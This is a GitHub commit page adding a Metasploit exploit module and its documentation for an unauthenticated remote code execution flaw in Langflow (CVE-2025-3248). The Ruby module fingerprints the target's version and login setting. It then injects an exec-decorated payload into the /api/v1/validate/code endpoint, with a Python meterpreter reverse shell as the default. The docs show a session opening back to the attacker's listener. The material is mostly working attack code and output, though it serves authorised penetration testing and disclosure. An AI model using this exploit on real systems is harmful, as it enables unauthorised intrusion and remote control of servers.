Skip to content

Commit 140b93e

Browse files
authored
Land rapid7#20022, Langflow RCE module
Add Langflow unauth RCE module (CVE-2025-3248)
2 parents 9e3b340 + c7fdcc8 commit 140b93e

File tree

2 files changed

+185
-0
lines changed

2 files changed

+185
-0
lines changed
Lines changed: 87 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
## Vulnerable Application
2+
3+
Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint.
4+
A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.
5+
6+
The vulnerability affects:
7+
8+
* Langflow < 1.3.0 even if authentication is enabled
9+
* Langflow <= 1.3.2 (latest at the time of this writing) if authentication isn't enabled.
10+
11+
This module was successfully tested on:
12+
13+
* Langflow 1.3.2 installed with Docker (authentication isn't enabled)
14+
15+
16+
### Installation
17+
1. `git clone https://github.com/langflow-ai/langflow.git`
18+
19+
2. `cd langflow/docker_example`
20+
21+
3. `docker compose up`
22+
23+
24+
## Verification Steps
25+
26+
1. Install the application
27+
2. Start msfconsole
28+
3. Do: `use exploit/multi/http/langflow_unauth_rce_cve_2025_3248`
29+
4. Do: `run lhost=<lhost> rhost=<rhost>`
30+
5. You should get a meterpreter
31+
32+
33+
## Options
34+
35+
36+
## Scenarios
37+
```
38+
msf6 > use exploit/multi/http/langflow_unauth_rce_cve_2025_3248
39+
[*] Using configured payload python/meterpreter/reverse_tcp
40+
msf6 exploit(multi/http/langflow_unauth_rce_cve_2025_3248) > options
41+
42+
Module options (exploit/multi/http/langflow_unauth_rce_cve_2025_3248):
43+
44+
Name Current Setting Required Description
45+
---- --------------- -------- -----------
46+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
47+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
48+
RPORT 7860 yes The target port (TCP)
49+
SSL false no Negotiate SSL/TLS for outgoing connections
50+
VHOST no HTTP server virtual host
51+
52+
53+
Payload options (python/meterpreter/reverse_tcp):
54+
55+
Name Current Setting Required Description
56+
---- --------------- -------- -----------
57+
LHOST yes The listen address (an interface may be specified)
58+
LPORT 4444 yes The listen port
59+
60+
61+
Exploit target:
62+
63+
Id Name
64+
-- ----
65+
0 Python payload
66+
67+
68+
69+
View the full module info with the info, or info -d command.
70+
71+
msf6 exploit(multi/http/langflow_unauth_rce_cve_2025_3248) > run lhost=192.168.56.1 rhost=192.168.56.16
72+
[*] Started reverse TCP handler on 192.168.56.1:4444
73+
[*] Running automatic check ("set AutoCheck false" to disable)
74+
[+] The target appears to be vulnerable. Version 1.3.2 detected and authentication is disabled. Which is vulnerable.
75+
[*] Sending stage (24772 bytes) to 192.168.56.16
76+
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:57118) at 2025-04-12 10:00:32 +0900
77+
78+
meterpreter > getuid
79+
Server username: user
80+
meterpreter > sysinfo
81+
Computer : 06d3984f101d
82+
OS : Linux 6.8.0-56-generic #58-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb 14 15:33:28 UTC 2025
83+
Architecture : x64
84+
System Language : C
85+
Meterpreter : python/linux
86+
meterpreter >
87+
```
Lines changed: 98 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,98 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Langflow AI RCE',
17+
'Description' => %q{
18+
Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint.
19+
A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.
20+
},
21+
'Author' => [
22+
'Naveen Sunkavally (Horizon3.ai)', # Vulnerability discovery and PoC
23+
'Takahiro Yokoyama' # Metasploit module
24+
],
25+
'License' => MSF_LICENSE,
26+
'References' => [
27+
['CVE', '2025-3248'],
28+
['URL', 'https://www.horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai/'],
29+
],
30+
'Platform' => ['python'],
31+
'Arch' => [ ARCH_PYTHON ],
32+
'Targets' => [
33+
[
34+
'Python payload',
35+
{
36+
'Platform' => 'python',
37+
'Arch' => ARCH_PYTHON,
38+
'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
39+
}
40+
]
41+
],
42+
'DefaultTarget' => 0,
43+
'Payload' => {
44+
'BadChars' => '"'
45+
},
46+
'DisclosureDate' => '2025-04-09',
47+
'Notes' => {
48+
'Stability' => [ CRASH_SAFE, ],
49+
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
50+
'Reliability' => [ REPEATABLE_SESSION, ]
51+
}
52+
)
53+
)
54+
register_options(
55+
[
56+
Opt::RPORT(7860),
57+
]
58+
)
59+
end
60+
61+
def check
62+
res = send_request_cgi({
63+
'method' => 'GET',
64+
'uri' => normalize_uri(target_uri.path, 'api/v1/version')
65+
})
66+
return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200
67+
68+
json_version = res&.get_json_document&.fetch('version', nil)
69+
return Exploit::CheckCode::Unknown('Failed to parse version.') unless json_version
70+
71+
version = Rex::Version.new(json_version)
72+
return Exploit::CheckCode::Unknown('Failed to get version.') unless version
73+
74+
return Exploit::CheckCode::Appears("Version #{version} detected. Which is vulnerable even if authentication is enabled.") if version < Rex::Version.new('1.3.0')
75+
76+
# check if auto_login is enabled or not
77+
res = send_request_cgi({
78+
'method' => 'GET',
79+
'uri' => normalize_uri(target_uri.path, 'api/v1/auto_login')
80+
})
81+
return Exploit::CheckCode::Appears("Version #{version} detected and authentication is disabled. Which is vulnerable.") if res&.code == 200
82+
83+
Exploit::CheckCode.Safe("Version #{version} detected and authentication is enabled. which is not vulnerable.")
84+
end
85+
86+
def exploit
87+
res = send_request_cgi({
88+
'method' => 'POST',
89+
'uri' => normalize_uri(target_uri.path, 'api/v1/validate/code'),
90+
'headers' => { 'Content-Type' => 'application/json' },
91+
'data' => {
92+
'code' => "@exec(\"#{payload.encode}\")\ndef #{rand_text_alpha(6)}():\n pass"
93+
}.to_json
94+
})
95+
fail_with(Failure::Unknown, 'Unexpected server reply.') unless res
96+
end
97+
98+
end

0 commit comments

Comments
 (0)